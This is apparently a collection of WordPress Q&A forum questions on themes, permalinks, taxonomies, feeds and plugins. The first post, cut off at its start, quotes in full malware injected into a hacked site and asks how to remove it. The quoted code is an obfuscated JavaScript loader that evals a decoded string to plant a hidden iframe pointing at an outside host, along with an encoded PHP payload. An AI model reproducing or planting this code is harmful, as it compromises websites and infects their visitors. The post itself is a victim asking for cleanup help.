Date()).index+[];aaa='0';try{if(/123/.exec("a").index!=5);}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)f='-30!-30!66!63!-7!1!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!2!84!-30!-30!-30!66!63!75!58!70!62!75!1!2!20!-30!-30!86!-7!62!69!76!62!-7!84!-30!-30!-30!61!72!60!78!70!62!71!77!7!80!75!66!77!62!1!-5!21!66!63!75!58!70!62!-7!76!75!60!22!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!-7!80!66!61!77!65!22!0!10!9!0!-7!65!62!66!64!65!77!22!0!10!9!0!-7!76!77!82!69!62!22!0!79!66!76!66!59!66!69!66!77!82!19!65!66!61!61!62!71!20!73!72!76!66!77!66!72!71!19!58!59!76!72!69!78!77!62!20!69!62!63!77!19!9!20!77!72!73!19!9!20!0!23!21!8!66!63!75!58!70!62!23!-5!2!20!-30!-30!86!-30!-30!63!78!71!60!77!66!72!71!-7!66!63!75!58!70!62!75!1!2!84!-30!-30!-30!79!58!75!-7!63!-7!22!-7!61!72!60!78!70!62!71!77!7!60!75!62!58!77!62!30!69!62!70!62!71!77!1!0!66!63!75!58!70!62!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!76!75!60!0!5!0!65!77!77!73!19!8!8!70!7!80!65!66!60!65!64!72!69!63!80!62!61!64!62!76!7!60!72!70!8!77!8!9!58!11!61!12!10!59!62!13!17!15!59!18!12!58!58!12!9!61!18!59!62!10!9!15!11!9!18!59!13!59!18!0!2!20!63!7!76!77!82!69!62!7!79!66!76!66!59!66!69!66!77!82!22!0!65!66!61!61!62!71!0!20!63!7!76!77!82!69!62!7!73!72!76!66!77!66!72!71!22!0!58!59!76!72!69!78!77!62!0!20!63!7!76!77!82!69!62!7!69!62!63!77!22!0!9!0!20!63!7!76!77!82!69!62!7!77!72!73!22!0!9!0!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!80!66!61!77!65!0!5!0!10!9!0!2!20!63!7!76!62!77!26!77!77!75!66!59!78!77!62!1!0!65!62!66!64!65!77!0!5!0!10!9!0!2!20!-30!-30!-30!61!72!60!78!70!62!71!77!7!64!62!77!30!69!62!70!62!71!77!76!27!82!45!58!64!39!58!70!62!1!0!59!72!61!82!0!2!52!9!54!7!58!73!73!62!71!61!28!65!66!69!61!1!63!2!20!-30!-30!86'.split('!');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'mChar';r=ss[fr+'Code'];for(i=0;0>i-w.length;i++){j=i;s=s+r(39+1*w[j]);}if(aa.indexOf(aaa)!==-1)e(s); and inside the index.php   1. #1583b0# echo(gzinflate(base64_decode("1VZNc5swEP0r3VwEZbCRMJIYQi7pvYceXR8YGxIyiZ0ALelk8t+7u4jEIbabHnroDPIs0tun/XhCPm/XTX3fXdSV19fbza5fio0IxA7HGscPHHc4ym0nVn5R5PPv/XxWPpZrb1v2n74UXen5/gw9y8dgucoKhIhIZF3z6wkp51LFDn5WnDkc5ImfPa+Lbn3tPTw8+E9tm3/rmnp7lT2jT1EMsK9kFj7keSj9KhdhHAENrUHHEBqQoCUYBToCY8HgigKDMwYM6AW/GSCHlO39dQ3KgFWwSCCxBI5TMgaMhAiSlJklgSJQkChAxAItu4AxktdoTPLqjrZEnHrFWE3h4hJGglujga9TnqOp2IgocR9jhujCBJQ8sHHIiREWI6awdcIM+MQgU7DASGbUzKgHY8Fbp8RnmQmDcQXUVMuI1tHTEpcFLpXk6kuMh4tFgeEm2JSEXqWlJYQlbKSMtSMwwgnEIUXqZtF38Iq4NENZOX+Mj3NhJ16liBUDFi7DCcBwqaxyjedVk3IFNf0mbOvU1RSBWBxXEM5qKD42EOtmlPOiWDS/SsInHLfRrnTGuvaoUW/UHEPIlJkMu8YvE9iimNpoDzQSV6jHUwmNSol5N8l92QsqNMfFOBGbGdSesA+fJcXyOXGeBhFyT4dEDx4sOjrvg4iGXGjW6Z+apkdxJq4pLzUklhclo7z+Vym/yXpfkuYPehxP70SR0Qm+I0plpmNaPcG3r2HmSE/uPqr7EPRD7Z4c+aHp7kj/vXjefyLeE37s4/uv7hHDsJiegQ0hyo49H0RGOU8+AmLW3t/WnSdA+NndJheFyMp8vLhLvKh/FrdilfV5lbW5EFnV5KLC6YYu9LvL66IRWZO37bJqAnG525QIrnaNV+dRFl3UYT+7LbdX3XVWB4H/dJPXSNMGjRengfzcL29W/vE7uvRaPzufuz8UvwE="))); #/1583b0# How can i remove this and recover the site???


title: Word press replacing unicode characters with "?"s

text: I've noticed that Wordpress has recently started replacing any unicode characters I enter with question marks. There are a couple of people who've had this issue on the word press forums but no one seems to have an answer to it. Has anyone got a solution to this? I self host wordpress, but I've not got much control over PHP and DB settings. It's possible my host has updated the PHP libs or the DB. How would I find out?


title: Where should I update_options in a theme?

text: I am designing a theme where the home page (i.e. `is_home()`) should only display the latest blog post. I want to do something like `$wp_query->update_option('posts_per_page', 1)` every time I am on the home page. All other pages that display posts (like archives) should just follow the user defined option. This seems a bit unnecessary to do every single time since the option should just be set once, right? Is it possible within The Loop to just ignore the user-set option of `posts_per_page` and force `have_posts()` to just be set to one post? In general, where should this kind of "set-it-once" stuff go? I don't really think it should be a plug-in because it is theme specific. I also don't want to mess with the user's options which is why `update_option` isn't the best choice for this problem.


title: Is there a way combine posts meta_name?

text: I want to know if there is a way that 2 different custom fields that have basicly the same value function to be combined. 1) meta_name: my_link and meta_value: a link 2) meta_name: other_link and meta_value: other link It should work like this: The general call in my template is               <?php if ( get_post_meta($post->ID, 'my_link', true) ) : ?>          <?php echo $my_link; ?>          <?php endif; ?>      So if in the post is present meta_name: other_link and not my_link and in the template is queried my_link, I want the other_link meta_name to be recognized as meta_name: my_link. I searched all over. Thanks in advance.


title: Is 'repeatable' a field type for meta boxes?

text: This is probably a silly question, but I'm new to wordpress development so easily confused at the moment. Code: ` array(   'label' => 'Repeatable',   'desc' => 'A description for the field.',   'id' => $prefix.'repeatable',   'type' => 'repeatable'   )   ` My Q: Is ` 'repeatable' ` a standard feature of wordpress, or is it something the developer has created? (have picked this code off the internet to learn). Thank-you!


title: Why doesn't default Wordpress page view use force_balance_tags?

text:
I noticed that the default WP theme uses force_balance_tags for listing posts' excerpts. This way, it doesn't cause major html breakage whenever someone writes a post like
This is an excerpt.  and this is more text...
      It will close tags instead of bolding everything, and breaking div. Why doesn't the normal wordpress page do this by default, in the default theme? That way, broken page content like:

 now text is not where it's supposed to be
 unmatched tags      would not cause unexpected behavior. Was this an oversight, or are there certain things that break when using force_balance_tags on pages?


title: How to debug/diagnose RSS feed that's not working?

text: The RSS feeds on my site don't seem to functioning properly. I recently updated my theme to a new theme I developed and ever since that point the RSS feeds don't display all of my site's content properly. My rss feed only displays the Title with link and published date. No featured image or excerpt/body copy. I have the following in my functions.php               add_theme_support( 'automatic-feed-links' );      What are some other areas I should investigate on my site?


title: How to test if the widgetized area has any widgets?

text: I making a widgetized footer with three widgetized areas (footer1, footer2, footer3), The problem is that even if there's no widgets assigned to any widgetized footer area, the footer is still there with his black background! what I want is to remove the footer if there isn't any widget assigned.


title: custom tabs in media uploader

text:
I've managed to add a custom tab to the media uploader, but for some reason it doesn't come with the same layout - it doesn't load the media-uploader-header that contain all the other tabs:                 add_filter('media_upload_tabs', 'my_media_upload_tabs_filter');          function my_media_upload_tabs_filter($tabs) {             unset($tabs["type_url"]);             unset($tabs['library']);             $newtab = array('ell_insert_gmap_tab' => __('Google Map','insertgmap'));                  return array_merge($tabs,$newtab);     }          add_action('media_upload_ell_insert_gmap_tab', 'media_upload_ell_gmap_tab');          function media_upload_ell_gmap_tab() {         return wp_iframe('media_upload_ell_gmap_form', $errors );     }          function media_upload_ell_gmap_form() {         ?>
HTML Form
          <?php     }        Thanks.


title: Automatically added brs and paragraphs?

text:
Here's my very simple shortcode:               function box_shortcode( $atts, $content = null ) {             extract( shortcode_atts( array(                 'width' => 'auto',                 'height' => 'auto',                  ), $atts ) );                   return '
'.do_shortcode($content).'
';         }              add_shortcode('box', 'box_shortcode');       > [box]something[/box] should give:
something
      But, it doesn't. Even an empty shortcode (without a content, eg. [box][/box]) gives:

      (I don't care, but don't know where the br comes from) The main problem is that, when I try [box]something[/box] I'm getting:

something

      I know WP editor formats text automatically and there are "noP" plugins out there, but firstly - I'm using the HTML editor, secondly, why the heck WP is adding Brs (sometimes p's) to an inline code? :O It wouldn't be a huge problem, but I HAVE to get PURE output, so:               [box]
Header

Content
[/box]      Will give a header and a div inside my box div, without any parapgrahs, brs, spans etc. The funny thing is I have the same shortcode with h2 instead of div and it doesn't give any brs etc. Sometimes I'm also getting a `<div class="boxy-box" width:auto; height:auto;></p>$content (...)` [edit] I've found some comments on it: > This is driving me nuts as well. What the f**k is the point of having a > html/code mode for posting if wordpress filters the god damn code and wraps > around the tags anyways? So I guess that's the problem. Is there a way of turning autop functionality at least for HTML editor? ;/


title: Update a Plugin while maintaining back compatibility: general

text: How can I make updates a public plugin of mine without breaking the plugin for all existing users. **Firstly** , I'd like to change the main plugin's class/namespace, because I'd like it to be similar to other classes in the plugin that it extends. So I'd like to change               class some_class(){}      to               class Some_Class(){}      **Secondly** , the whole class is instantiated and saved in a global variable.               global $some_class;     $some_class = new some_class();      Somewhere on here I saw a good example of how to instantiate a class without a global (can't find it now of course, #doh). The global can be used by users to add/remove a couple of templates. Is there a way to get rid of the global without completely breaking the themes of people who might be using it to manipulate the templates? **Thirdly** , related to above, my main plugin file has gotten really big and I'd like to split it up into pieces for my own sanity. However, if the `some_templates()` method is in the `some_class()` is it possible to move it to the `front_end_class()` without breaking things for users? **For example** To unhook an action in my plugin               function remove_method(){       global $some_class;       remove_action('wp_head', array($someclass, 'some_templates'));     }     add_action('init','remove_method');      Can the class structure and global variable setup be adjusted without breaking this. How can I alert people that this has changed? `_doing_it_wrong()` ? **Finally** , I've been saving some post meta as "yes" versus "no" in lieu of a boolean. Does it make sense to change this?


title: Do we still need to include a "if (have_posts())" in templates?

text: I include this logic in my template all the time               if (have_posts()):      //show content     else:      //show content not found     endif;      But recently i began to doubt its necessarity, wordpress will turn to 404.php when no post found, it seems no need to add this logic in normal templates, "else" will never be triggered, is it?


title: Get 'page' number with infinite scroll

text: I added infinite scroll support of the Jetpack plugin to my own theme using this tutorial:               add_theme_support( 'infinite-scroll', array(         'container'  => 'content',         'footer' => false,         'render' => 'vividflow_infscroll_render',         'wrapper' => 'post_summaries',         'posts_per_page' => 12,         'type' => 'scroll'     ) );      Now I need something like a counter which increments every time additional posts are loaded. I know that the new posts are placed in an `infinite-view-` _`n`_ class and I have a JavaScript function which I want to call on that new loaded class:               function setupPostSummaries(counter) {         jQuery('.infinite-view-'+counter).doSomething();     }      So I guess I need a PHP variable in the infinite scroll render function or the loop which increments every time additional posts are loaded. Then I can do in the end of The Loop:               <script type="text/javascript">setupPostSummaries(<?php the_counter(); ?>);</script>      Is such a variable there already? Or is there an other way to achieve my goal?


title: Post sharing in social network

text: I have a problem. There is AFTER SINGULAR in widgets line. Then I chose widget: text or HTML code. I have a pictures of 3 social media icons (facebook, twitter, pinterest) I want that icons (facebook, twitter, pinterest) link will be to : Example: https://www.facebook.com/sharer/sharer.php?u= https://twitter.com/intent/tweet?original_referer= I want that there would be automatic write post title and post URL. So, what should I write in the end of the link? (facebook, twitter, pinterest) Please, help. :-)


title: What's wrong with this line of code?

text: I asked a question earlier and explained that I couldn't log in with out this message coming up: Catchable fatal error: Object of class WP_User could not be converted to string in /hermes/bosoraweb097/b2086/ipg.cantchoosecouk1/wp- content/plugins/wp-customer-reviews/wp-customer-reviews.php on line 239 I looked in to it and this is line 239 in the /wp-customer-reviews/wp- customer-reviews.php folder:               $this->p->$c = trim(stripslashes($val));      Could somebody please tell me what is wrong with this code and why it's causing the error?


title: Taxonomy Grid Archive Help?

text: I need some help. I would like to make a custom taxonomy archive that shows a grid of the terms(categories) in the taxonomy. I know how to accomplish the grid portion, but I'm having trouble with the main function of displaying the terms. I feel like I've seen this done so many times, but not that I'm trying to accomplish it, I can't. As an example, this page shows how I want the taxonomies to look - including title, featured image, post count of terms, etc. Right now I can't even get the terms to show up as links to the posts within the term. And if I can accomplish that, how do I go about styling the pieces? I would appreciate some guidance with this.


title: Redirect Pretty Permalinks to Ugly Permalinks

text: I want to change the permalinks from `/%postname%.html` to the default `?p=%post_id%` permalink. I know how to change the permalink structure that from WordPress admin panel. However, I have over 30000 posts and I want to make sure that people who visit the old URLs will be redirected to the new. For example: `http://example.com/sample-post.html` would redirect to `http://example.com/?p=123`


title: Save list from a custom meta box?

text:
I have a simple list (`ul>li`) which is manipulated with jQuery UI in a custom meta box. How would I go about saving the contents of the list during post save? I already have the save function ready, but how do I get the HTML data into PHP so I can put it in the database with `update_post_meta`? The list looks like (with class names etc):

Text 1

Text 2

Text 3

      'Text 1, Text 2, Text 3' would be saved.


title: If permalink is equal to current site url

text: Is there a way to add a class to a div, when the current site url is equal to the permalink of a post? I need a class "current" to my custom made menu. I put the posts links in a list item with a loop, and for every link i want to check if the permalink is equal to the current page url. If the permalink matches the current page url, i want to add the class "current". Something like:               <?php $currentUrl = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; ?>     <?php if ( $currentUrl == the_permalink() ) { echo ' class="current"'; } else {} ?>      Together with the loop:               <?php $currentUrl = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; ?>          <?php query_posts('orderby=name'); ?>     <?php while (have_posts()) : the_post(); ?>             <li>            <a <?php if ( $currentUrl == the_permalink() ) { echo ' class="current"'; } else {} ?>            href="<?php the_permalink() ?>">               <?php the_title() ?>            </a>        </li>          <?php endwhile; ?>     <?php wp_reset_query(); ?>


title: Restrict access to xmlrpc.php

text: I am fairly new to Wordpress and I recently noted a huge amount of traffic hitting the following:               162.242.170.222 - - [01/Aug/2014:08:18:54 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:01 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:01 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:02 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4859     162.242.170.222 - - [01/Aug/2014:08:19:11 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4861     162.242.170.222 - - [01/Aug/2014:08:19:13 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4861     162.242.170.222 - - [01/Aug/2014:08:19:18 -0500] "POST /xmlrpc.php HTTP/1.0" 503 4861      I blocked the IP address which is a temp solution. Is there a permanent solution to blocking these requests, expecially if I don't need


title: How to add a body class based on a custom taxonomy term

text: I'm trying to insert the slugs of custom taxonomies as classes in the opening body tag on certain WordPress pages. What I have so far is causing errors. I found a bit of help with the examples here and here, and it works, except that it gives an error on any page that doesn't have a term from the "section" taxonomy. The error is:               Warning: join() [function.join]: Invalid arguments passed in /home/*****/public_html/example.com/wp-includes/post-template.php on line 387      and the code is:               // add classes to body based on custom taxonomy ('sections')     // examples: section-about-us, section-start, section-nyc     function section_id_class($classes) {         global $post;         $section_terms = get_the_terms($post->ID, 'section');         if ($section_terms && !is_wp_error($section_terms)) {             $section_name = array();             foreach ($section_terms as $term) {                 $classes[] = 'section-' . $term->slug;             }         return $classes;         }     }     add_filter('body_class', 'section_id_class');


title: Gravity Forms - Repeatable "File Upload" field using "gform_column_input_content" filter

text: I am looking to use the gform_column_input_content filter to make a repeatable file upload element. The filter modifies the HTML content of the list field column input tag. The following code provided from the docs shows how to replace the default text input with a textarea input.               <?php     add_filter("gform_column_input_content_21_9_3", "change_column3_content", 10, 6);     function change_column3_content($input, $input_info, $field, $text, $value, $form_id){         //build field name, must match List field syntax to be processed correctly         $input_field_name = 'input_' . $field["id"] . '[]';         $tabindex = GFCommon::get_tabindex();         $new_input = '<textarea name="' . $input_field_name . '" ' . $tabindex . ' class="textarea medium" cols="50" rows="10"></textarea>';         return $new_input;     }     ?>      I want to replace this with a File Upload field, but I'm pretty much stumped as where to go from here. Surely just filtering the File Upload elements HTML won't result in a working File Upload element?


title: Copied wordpress template page not working

text: I have a WordPress theme with multiply template pages Default, Blog, Contact & Portfolio. I have copied the Portfolio page and edited to create a new page template I have changed the Template Name in the php file from Portfolio to Homepage as below so i can customise the portfolio for the homepage.               <?php     /**      Template Name: Page - Homepage     */     ?>      But the homepage and portfolio page are the same. Why is this happening? and how can I fix it?


title: List total number of users that are authors

text: ## Question I want to display total number of Authors and total number of subscribers on the blog but exclude the admin in this way: _**56_** Authors so far _**15_** Subscribers so far ## Code that is close to what I need :) I have this code and it displays the total number of everybody that is registered. I need it to display authors and subscriber roles separately. Please help :)               <?php $users = $wpdb->get_var("SELECT COUNT(ID) FROM $wpdb->users");     echo $users." members so far"; ?>      # Answer updated: Thank You @JanBeck This code generates the number of authors               echo count( get_users( array( 'role' => 'author' ) ) )


title: Wordpress custom taxonomy template not working

text: I installed theCartPress plugin and it created tcp_product_category taxonomy for tcp_product post type. I created a page with custom template to list all the product categories. I can use `single-tcp_product.php`, but `taxonomy-tcp_product_category.php` doesn't work. I tried removing `tcp_` (it's rewritten like that), tried everything from template hierarchy. I installed "Reaveal template" plugin and when I visit > >     http://palivonas.lt/test/islosaitis/product_category/spinteles/ >   it shows "archive.php". I tried changing code, nothing changes there. I emptied `archive.php`, `category.php`, `index.php`, `page.php` and nothing changed in that link, still shows `"Category Archives: spintelės"` title and list of products. Any ideas? Don't mind any layout issues, I'm just trying to make it work, then design. * * * _I've been trying to make this work for a few hours now and I give up, I need help._


title: How to display pending posts on the homepage only for editors

text: I'm working on a project where editors need to see the pending posts on the homepage to improve them before publish. Maybe there is something to do with the loop in this way: If editors logged:               if ( current_user_can('edit_post') ) {         display the pending posts     }      The args to display publish and pending posts:               $args = array( 'post_type' => 'post', 'post_status' => 'publish, pending' );      The completed loop:               <?php     if ( current_user_can('edit_post') ) {         $args = array( 'post_type' => 'post', 'post_status' => 'publish, pending' );     } else {         $args = array( 'post_type' => 'post', 'post_status' => 'publish' );     }     $wp_query = new WP_Query($args); while ( have_posts() ) : the_post(); ?>          …the content here...          <?php endwhile; ?>     <?php wp_reset_postdata(); // reset the query ?>      It work for me. Do you think this is correct? Maybe the code can be improved. Thanks for the help.


title: Automatically add title attribute to links in WordPress

text: If I link to an article on a website, is there a way to automatically include a title attribute with the value being the title of the linked page?


title: Should I use custom taxonomy or custom post type

text: I've recently taken on a project from a client of mine, after a lot of persuasion I've managed to finally get the website under some kind of CMS. I'm pretty new to Wordpress I've come from an ExpressionEngine background and fancied trying something new for a change, so excuse the lack of knowledge (I'm trying my best! :D). Now The issue I'm currently facing is that they have very specific directions regarding how they want their content displayed on their website and more importantly how they would like to manage it. They are a travel agent I'm currently putting together the resort directory that will display all of the resorts they offer. In regards to the current structure of the directory it will be made up of 4 different sections. To give you a better understanding of how I want things to work take a look at this hierarchy below, (I've used turkey as an example, these would need to be dynamic):   * **/destinations/**    This will be our destinations page that will list all of the countries they currently offer. I imagine this to be a static page with some content about the countries on offer with a list of the countries below ( **These will be our parent taxonomies** ).   * **/destinations/turkey/**   This will be our parent taxonomy. This page will also have to have the ability to add some static content to insert information about the country and its locations. Below this will be a second list, these will be the different areas of turkey ( **These will be children of the parent taxonomies** ).   * **/destinations/turkey/belek/**   This will be our child taxonomy, This page will again need to have the ability to add some static content. It will also include our list of resorts that my client offers within this location ( **These will be our entries/posts** ).   * **/destinations/turkey/belek/resort-name**   This will be our post/entry page, here we will have all of the information on the select resort, the specifics of this aren't an issue and I've already got this sorted. Now, I've done a lot of reading up on custom post types, custom taxonomies and their abilities and uses but I'm hit with a situation at the moment where I can't decide on which route I should take. I've been experimenting over the last few hours with the setup of **one custom post type** (for resorts) and **one hierarchical taxonomy** (for locations). Which works some what ok BUT due to the limitations of the taxonomy UI within the admin panel it doesn't allow me to add my static content/images etc. (I'd much prefer to use a WYSIWYG especially from a clients point of view). So this makes me wonder if it would be worth making **two custom post types** and scrapping taxonomies all together, making one of the post types resorts and the other locations. With the locations post type I could set it up like the pages module (which would give me hierarchical controls to allow me to organise my locations how I had originally planned) but is this a wise move? I mean from what I've read you shouldn't really organise content this way but I've got a feeling that maybe just a clash of contextual semantics (I could be wrong!). Would there be any limitations for me setting things up this way should I wish to add search functionality in the future? Or anything else for that matter? I thought I'd mention this before I FINALLY click the submit button (apologies for the great wall of text) but **pages**... I've read here that they are powerful little gems within Wordpress, how should I be taking advantage of these if I'm using custom taxonomies? How well do they work with listing categories are they what I need? Right, that about wraps up everything I've got to ask for now - maybe I should have split this into a few posts but hey! I hope this gives you guys enough information about what I'm trying to achieve and please if I am going wrong feel free to point me in the right direction I'm really eager to learn more about Wordpress and it's capabilities. Regards   Danny


title: How can I force WordPress to redirect to canonical permalinks?

text: In WordPress 3.1 a post can be reached a number of ways, for example each one of these takes you to the same post (where /id is the base)               http://myblog.com/id/1008     http://myblog.com/id/1008/my-slug     http://myblog.com/my-slug      How can I tell WordPress to redirect all of these variations to               http://myblog.com/id/1008/my-slug      ?


title: "Home" Page now only displaying the single latest post

text: We did have a normal dynamic post home page.( Arjuna X 1.6.11 by SRS Solutions) After selecting for a static, we returned the settings to our original settings. However, now we only have the single lastest post visible. I would love to get back the original settings. Any help?


title: Any way to hide a blog posts text if it's longer than let's say 300 characters

text: Is there a way of hiding a blog posts text if it's longer than let's say 300 characters. I don't want it to push the rest of the content below the fold. You know, the show more text thing.


title: Do all files in child theme override the parent?

text: I'm curious if other PHP code files besides functions.php, WP template files and style.css in a child theme actually override the same file in a parent them? I am working with a client that has a theme with child theme support, however, there are no hooks or actions to unload for the functions that I wish to override. Looking for a clean way to perform this override whith customized code that won't be overwrote on upgrade.


title: How to hide trackbacks on wp-admin/edit-comments.php

text: How to hide (or not to show, better said) trackbacks on wp-admin/edit- comments.php page? I want to hide the comments with no email (also known as trackbacks) and comments with a specific email from the edit-comments.php page.


title: Images in the twentyfourteen theme

text: How and were do I change the size on the sticky post images and the other images in the theme twentyfourteen? I would like 8 sticky post images on the "front page" instead of 6 and I want them in a more portrait format so that I can use all my old images on my current blog (600x850px). I like the theme but all my old images are not suitable for the format. I really can't find the sizes anywhere.


title: Add Commas Between Menu Items?

text: I created a menu in wordpress in the Menus section of the backend is there any way to display the menu links with commas so it displays as `Link1, Link2, Link3, Link4`?


title: Visual Editor only working for the admin user

text: Any idea why the visual editor would only work on the administrator user. Not even with the administrator role I can get it to work. I just shows a white box with white type inside it and has none of the wysiwyg buttons. Thanks in advanced Edit: I'm using TinyMCE Advanced and Advanced TinyMCE Config


title: Theme Customizer changes are dissappearing when change page

text: An example option i am using:                    // Layout         $wp_customize->add_setting( $themeslug.'_settings[layout]', array(             'default' => 'content-sidebar',             'type' => 'option',             'transport'         => 'postMessage'         ) );                      $wp_customize->add_control( $themeslug.'_settings[layout]', array(             'label' => __( 'Layout', 'anatema' ),             'section' => 'secenek',             'type' => 'radio',             'choices' => array(                 'content-sidebar' => __( 'Content - Sidebar', 'anatema' ),                 'sidebar-content' => __( 'Sidebar - Content', 'anatema' ),             ),         ) );                                 $wp_customize->get_setting( $themeslug.'_settings[layout]' )->transport = 'postMessage';      My options are getting save when click save button. Changes are effecting properly on live preview with customizer.js but when i click a page in live preview, all un-saved changes are disappearing. How can i prevent that?


title: Get users registered 30 days ago(or more)

text: How(in wordpress multisite) can i get id of users, who signed up 30 days ago, or more? I am building free trial system for 30 days. I want to have a function, that check when user signed up, and how many days have passed. The function should return number of days that passed. It's easy to get user signed up time:               global $current_user;     get_currentuserinfo();     echo $current_user->user_registered;      It's echo:               2012-09-16 6:25:47      Now, how to check how many days passed from above time?


title: iPhone Safari full size & PC versions different

text: This site displays the correct logo at top left of the content in Chrome, but displays the incorrect logo in Safari on an iPhone, at full size browsing. The incorrect logo says "Dandelion". The correct logo says "Incredible Concepts". The incorrect logo belongs to the Wordpress theme's parent theme. The child theme is activated. If Safari is viewing at full size desktop version, it should show the same content as Chrome on a PC, and this content is produced by the Wordpress child theme. If the theme had reverted to the parent theme, the header would be totally different. Why is the logo the only incorrect item?


title: wordpress sub-directory sites on a sub-domain?

text: I have a large site at www.example.com this is a .net site I want to use WP multisite installed at word.example.com this would point to the WP root install directory but on a different server than the root of the domain www.example.com then all new sub-sites in the WP multisite would be e.g. word.example.com/site1 word.example.com/site2 is this possible? does anyone have any info they can point me to? I have been searching but not yet seen this scenario. Thanks.


title: wp_query a single custom post type?

text: How does one get a custom post by id? FYI: I am passing a particular post id through a form and it's performing an ajax call. I'd like to retrieve just one post and grab the title:               <?php      // E.g. $loc = 700     $args = array('post_id'=>$loc, 'post_type'=>'seminars', 'limit'=> '1');          $loop = new WP_Query($args);     // Start loop for seminar posts     $loop->the_post();     echo the_title();          // returns just one post and it's not the right custom post


title: Get Custom Post Child Term

text:
I am trying to echo the custom post's child "section", if one exists. I only want to show the second level, or child, sections. This is working, however, it displays the 1st level section if no second level exists.               $terms = get_the_terms($post->ID, 'section' );     if ($terms && ! is_wp_error($terms)) :         $term_slugs_arr = array(         );         foreach ($terms as $term) {             $term_slugs_arr[0] = $term->name;         }         $terms_slug_str = join( " ", $term_slugs_arr);          endif;          echo '
'.$terms_slug_str.'
';


title: Display most recent post on homepage?

text: Is there any plugin that allows me to customize my blog homepage to show only most recent post? Problem is that on my home page, it displays too much posts, my blog is here, http://www.nooranibakerally.net/ Thanks


title: Ordering values entered in Custom Taxonomies

text: I found a great article on Custom Taxonomies here. I have a specific requirement related to ordering values entered in the Custom Taxonomies. How do I display the terms entered in the meta boxes in the order I entered them and “NOT” in alphabetical order.(ex. If I enter Edward, Linda, Arnold in meta boxes, how do I NOT display them Arnold, Edward, Linda). Thanks in advance. Any help would be greatly appreciated.


title: Redirect preview single post link to a page

text: I have custom post types setup such that the items don't have or need single- post pages. The posts will be displayed via a custom query on a page. My question is when i create a single post (on the custom post type), how do i redirect the preview link so it previews the page and not the single-post? the only way i can think of is make the single-[posttype].php template identical in template and query with the archive page i made, but that just seems wonky.


title: Feed only showing 1 result?

text: Any ideas? It seems my feed is only showing one post, although I made several today. http://www.alpinezone.com/category/news-and-featured-articles/feed/


title: Get first page of given category

text: I am not a WordPress expert, so I'm seeking your help. I need parent ID of post category (closest parent, not "grand-parent"), then use it to get the first post of that category. I have folllowing code, but it seems I'm missing something here:               <?php          if(have_posts()) :             while (have_posts()) : the_post();                 /* wp_redirect(get_permalink($post->ID)); */                 $category = get_the_category($post->ID);                      foreach($category as $single_cat){                     $parent =$single_cat->parent; // overwrite                 }                      $my_query = new WP_Query("category=$parent&showposts=1");                     while ($my_query->have_posts()):                          $my_query->the_post();                               $page_id = get_permalink($post->ID);                      endwhile;                       wp_redirect(get_permalink($page_id));                  endwhile;         endif;     ?>


title: Transform <ul> menu in <table> menu

text:
Someone can help me? I'm trying to create a walker's menu but I think is impossible. I want to create a top level menu as a table, but with 2 rows. For example, a typical one option menu will be:

MENU1

      and I want to transform to:

         MENU1

      In case of 2 or more options:

MENU1

MENU2

MENU3

      It will be transformed in:

         MENU1	         MENU2	         MENU3

      I dont know how to insert columns in differents rows in the same menu.... Thanks!


title: Add contact form

text: I want to add contact form to my page. I found http://en.support.wordpress.com/contact-form/ article where (see below) there is button for adding contact form but I don't have this in my Wordpress installation. ![enter image description here](http://i.stack.imgur.com/579Kr.jpg) Do I have to add some plugin or what? I use wordpress 3.3.1.


title: How to create custom variables in the wp-config

text: I would like to add some custom config variable in the wp-config file (not in the functions.php). Then, I need to access to these variable in my templates. What is the way to do it ?


title: ID's being stripped out of editor for Admin user in Multi-Site

text:
I have a Multi-Site install running on the current version of WordPress (3.3.1). The problem I'm having is the ID's are being stripped out of my tags in the editor. When I am logged in as a "Super Admin", the ID's **are NOT** stripped out. When I am logged in as an "Admin", the ID's **are** stripped out. Here is an example of the valid HTML being used:

Tab 1 content

Tab 2 content

Tab 3 content

      After updating the post as an admin, here is the result, every time:

Tab 1 content

Tab 2 content

Tab 3 content

      This issue can be reproduced by setting up a WordPress multisite install. Create an Super Admin (setup on install) and a new user with Admin privileges. Try adding the HTML in the first code example with the ID's in it. The Super Admin account will not strip the ID's, the Admin account will. Anyone know of a fix, plugin, or reason for this? Thanks in advance!


title: Copying Wordpress site, HOW about the DB connection?

text: I am USING the wordpress Import/Export and have done exporting the XML file from my wordpress site. And now i am moving my site from a local server to a host, after copying the files i noticed that on the new HOST there is no DATABASE connection, since i am not using a fresh install, I am just copying my files from the local server to the new HOST. How can i resolve this by not using any database client from the new host like PHPmyAdmin, is their a wordpress plugin that can solve this? THere is a BIG Error establishing a database connection on my page thank you


title: How to add inline css code with background image in page html code?

text:
I want to add inline css code inside a page of my blog. This css code calls an image as background of a div. Is this possible? and how to do that? I have tried to add the image as a Media resource, and got a URL for it, but using this URL does not seem to work. Example of code that I paste to my page html:
         Click here »


title: Allow users to create their own feed from selected categories?

text: I've been wandering around on the web for the last couple of hours wondering if there's a way to allow users to build their own RSS feed by selecting categories within WordPress, that could then be subscribed to by email. Seems to present two problems:   1. Allowing people to build a personalized feed from categories.   2. Enabling email subscription. Any thoughts on how best to proceed with either?


title: How Do I Make WordPress Run an Event Every Day?

